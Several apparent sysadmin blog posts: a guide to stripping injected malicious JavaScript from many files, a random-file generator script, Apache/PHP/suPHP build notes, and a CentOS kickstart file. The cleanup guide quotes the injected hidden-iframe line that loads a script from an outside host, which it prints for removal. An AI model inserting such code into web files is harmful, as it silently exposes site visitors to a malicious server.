How To Remove A Malicious Javascript Code From Multiple Files

How To Remove A Malicious Javascript Code From Multiple Files

Sample code injected to .js files:

;document.write('<iframe width="11" height="11" style="width:100px;height:100px;position:absolute;left:-100px;top:0;" src="http://xbkftbmbw.freewww.info/tgewogjqog9.cgi?4"></iframe>');

First step:

# grep --color=auto "xbkftbmbw.freewww.info" -R -c * | grep ":1" | awk -F\: '{print $1}' > filelist

Second step:

# cat filelist |
  while read line; do
     sed -i 's/;document.*bkftbmbw.*<\/iframe>...//g' "$line";
  done

Generate random files with random size using Bash

This file is copy from Internet, forgot where to get it already.

#!/bin/bash
# generate random files

if [ ! $# -gt 0 ]; then
   echo "usage: $0 <numfiles> [<blocksize> <maxblocks>]"
   echo " <numfiles>: number of files to create,"
   echo " <blocksize>: size of file blocks (default 1024 bytes)"
   echo " <maxblocks>: maximum number of blocks per file (default 100)"
   echo ""
   echo "Parameters after the third provided number are ignored."
   echo ""
   exit
fi

NUMFILES=$1
 
if test "$2" == ""; then
   BLOCKSIZE=1024
else
   BLOCKSIZE=$2
fi
 
echo Using blocksize $BLOCKSIZE

if test "$3" == ""; then
   MAXBLOCKS=100
else
   MAXBLOCKS=$3
fi
 
echo Using max blocks $MAXBLOCKS

for I in $(seq 1 $NUMFILES)
do
   echo $((($RANDOM % $MAXBLOCKS) +1))
   dd if=/dev/urandom of=testfile.$I.$RANDOM.bin bs=$BLOCKSIZE count=0      seek=$((($RANDOM % $MAXBLOCKS) + 1))
done

一些Apache PHP suPHP筆記

1. Add third party repository:

   # rpm -ivh http://packages.sw.be/rpmforge-release/rpmforge-release-0.5.2-2.el6.rf.x86_64.rpm
   # rpm -ivh http://dl.fedoraproject.org/pub/epel/6/i386/epel-release-6-7.noarch.rpm
   # rpm -ivh http://rpms.famillecollet.com/enterprise/6/remi/x86_64/remi-release-6-1.el6.remi.noarch.rpm

2. Enable epel-testing.repo and remi.repo

   # vi /etc/yum.repos.d/epel-testing.repo

     [epel-testing] -> enabled=1
    
   # vi /etc/yum.repos.d/remi.repo

     [remi] -> enabled=1
     [remi-testing] -> enabled=1
    
   After enabled all the repositories, run yum -y update to update to latest packages.

3. MySQL

   # yum install mysql mysql-server
   # chkconfig mysqld on
   # mysql_install_db
   # /etc/init.d/mysqld start
   # mysqladmin -u root password 'abamon.test'
       
4. Apache

   Download apache source code (httpd-2.2.22.tar.bz2)

   Requirement to build apache:
   # yum install make autoconf apr-devel apr-util-devel gcc zlib-devel pcre-devel openssl-devel
  
   apache-frontend.sh
   --------------------------------------------------------------------------
   ./configure \
   --prefix=/usr/local/apache2 \
   --enable-layout=Apache \
   --enable-modules=all \
   --enable-mods-shared=all \
   --enable-proxy \
   --enable-suexec \
   --enable-so \
   --enable-ssl \
   --with-mpm=prefork \
   --with-suexec-caller=www \
   --with-suexec-userdir=www \
   --with-suexec-docroot=/home \
   --with-suexec-logfile=/dev/null \
   --with-suexec-safepath=/usr/local/bin:/usr/bin:/bin:/usr/home:/usr/sbin \
   --disable-dav \
   --disable-dav-fs \
   --------------------------------------------------------------------------

   apache_backend.sh
   --------------------------------------------------------------------------
   ./configure \
   --prefix=/usr/local/apache2_abamon \
   --enable-layout=Apache \
   --enable-modules=all \
   --enable-mods-shared=all \
   --enable-proxy \
   --enable-suexec \
   --enable-so \
   --enable-ssl \
   --with-mpm=prefork \
   --with-suexec-caller=xxx \
   --with-suexec-userdir=xxx \
   --with-suexec-docroot=/home \
   --with-suexec-logfile=/dev/null \
   --with-suexec-safepath=/usr/local/bin:/usr/bin:/bin:/usr/home:/usr/sbin \
   --disable-dav \
   --disable-dav-fs \

  
5. PHP
  
   Download php-5.4.6.tar.bz2
  
   Requirement to build php:
   # yum install curl-devel freetype-devel libpnb-devel libjpeg-devel gd-devel libmcrypt-devel ffmpeg-devel
   # yum install bison byacc re2c libxml2-devel mysql-devel
  
   php-frontend.sh
   -------------------------------------------------
   ./configure \
   --prefix=/usr/local/php-cgi \
   --with-config-file-path=/usr/local/php-cgi/etc \
   -------------------------------------------------
  
   php-backend.sh
   -------------------------------------------------
   ./configure \
   --with-config-file-path=/usr/local/php-cgi/etc \
   --with-apxs2=/usr/local/apache2_abamon/bin/apxs \
   --sysconfdir=/etc \
   --disable-cgi \
   --with-imap-ssl \
   --with-kerberos \
   -------------------------------------------------
     
6. suPHP

   Download http://www.suphp.org/download/suphp-0.7.1.tar.gz
  
   Requirement to build suphp:
  
   # yum install libtool gcc-c++
  
   # ./configure \
    --prefix=/usr/local \
    --with-apr=/usr/bin/apr-1-config \
    --with-apxs=/usr/local/apache2/bin/apxs \
    --with-php=/usr/local/php-cgi/bin/php-cgi \
    --sysconfdir=/usr/local/etc
  
7. xcache

   Download http://xcache.lighttpd.net/pub/Releases/2.0.0/xcache-2.0.0.tar.gz
  
   # ./configure --enable-xcache --enable-xcache-optimizer --with-php-config=/usr/local/php-cgi/php-config
  
   # cat xcache.ini >> /usr/local/php-cgi/etc/php.ini
  
   Edit php.ini
   [xcache-common]
   zend_extension = /usr/local/php-cgi/lib/php/extensions/no-debug-non-zts-20100525/xcache.so
  
8. ioncube

   Download http://downloads2.ioncube.com/loader_downloads/ioncube_loaders_lin_x86-64.tar.bz2
  
   # mkdir /usr/local/ioncube/
   # tar jxvf ioncube_loaders_lin_x86-64.tar.bz2
   # cd ioncube
   # cp ioncube_loader_lin_5.4.so /usr/local/ioncube

   Edit php.ini add before [xcache-common]  
   zend_extension = /usr/local/ioncube/ioncube_loader_lin_5.4.so

簡單的CentOS 6 Kickstart

# Kickstart file automatically generated by anaconda.

#version=DEVEL
install
cdrom
lang en_US.UTF-8
keyboard us
network --onboot yes --device eth0 --bootproto dhcp --noipv6
rootpw  --iscrypted $6$RjrfZUe6D0gaRFcy$mVpuB6HIWqLanaOAFxtspxb0E9t72BMvBtfAlJLyDDrOKfOI/2aoIYP7/wO3l/IWkYz4CCIwABa8o1E56EWoo/
firewall --service=ssh
authconfig --enableshadow --passalgo=sha512
selinux --enforcing
timezone Asia/Kuala_Lumpur
bootloader --location=mbr --driveorder=sda --append="crashkernel=auto rhgb quiet"
# The following is the partition information you requested
# Note that any partitions you deleted are not expressed
# here so unless you clear all partitions first, this is
# not guaranteed to work
clearpart --all

part /boot --fstype=ext4 --asprimary --size=256
#part swap --fstype=swap --asprimary --size=1024
#part / --fstype=ext4 --asprimary --grow --size=81920
part pv.008002 --grow --asprimary --size=2000

volgroup vg_centos --pesize=1024 pv.008002
logvol swap --name=lv_swap --vgname=vg_centos --size=768
logvol / --fstype=ext4 --name=lv_root --vgname=vg_centos --grow --size=8192

#repo --name="CentOS"  --baseurl=cdrom:sr0 --cost=100
repo --name="CentOS" --baseurl=http://10.10.10.1/centos/6/os/x86_64/ --cost=100
%packages --nobase
@core
%end